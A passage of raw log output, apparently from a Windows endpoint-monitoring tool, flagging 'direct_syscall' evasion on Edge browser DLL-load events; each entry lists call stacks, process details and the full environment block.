C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbf611e0 C:\Windows\System32\gdi32full.dll!GetICMProfileW|0x7ffcdbf607d4 C:\Windows\System32\gdi32full.dll!GetICMProfileW|0x7ffcdbf60510 C:\Windows\System32\gdi32full.dll!GetICMProfileW|0x7ffc8ea5fe4a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffcdd16e20b C:\Windows\System32\user32.dll!Ordinal2560|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff804754fcd69 C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff80420d5afdd C:\WINDOWS\System32\win32kfull.sys!xxxClientMonitorEnumProc+0x8d|0xfffff8041ff31004 C:\WINDOWS\System32\win32kbase.sys!xxxEnumDisplayMonitors+0x8f4|0xfffff8041ff9c12f C:\WINDOWS\System32\win32kbase.sys!NtUserEnumDisplayMonitors+0x7f|0xfffff8040690618d C:\WINDOWS\System32\win32k.sys!EngTextOut+0x5bd|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffcdc271b44 C:\Windows\System32\win32u.dll!NtUserEnumDisplayMonitors|0x7ffc8ebb1c2b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebb1ce3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4184102 + Pid: 7364 + Tid: 8100 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5356527 +0100 CET + Params: base_address➜ 7ffcd8590000, checksum➜ 1261038, default_address➜ 7ffcd8590000, file_path➜ C:\Windows\System32\winhttp.dll, image_size➜ 1212416, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b683830 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8e2574fe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e892ff5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e892e3c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4184209 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.537383 +0100 CET + Params: base_address➜ 7ffcbc1a0000, checksum➜ 678716, default_address➜ 7ffcbc1a0000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcc46fe053 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fb5b6 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fb4a3 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fb266 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47255c6 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbd88 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4722784 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47226fe C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffc8e8f279e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f25e2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2222 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4184369 + Pid: 7364 + Tid: 16272 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5398823 +0100 CET + Params: base_address➜ 7ffcdc2a0000, checksum➜ 590783, default_address➜ 7ffcdc2a0000, file_path➜ C:\Windows\System32\wintrust.dll, image_size➜ 520192, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 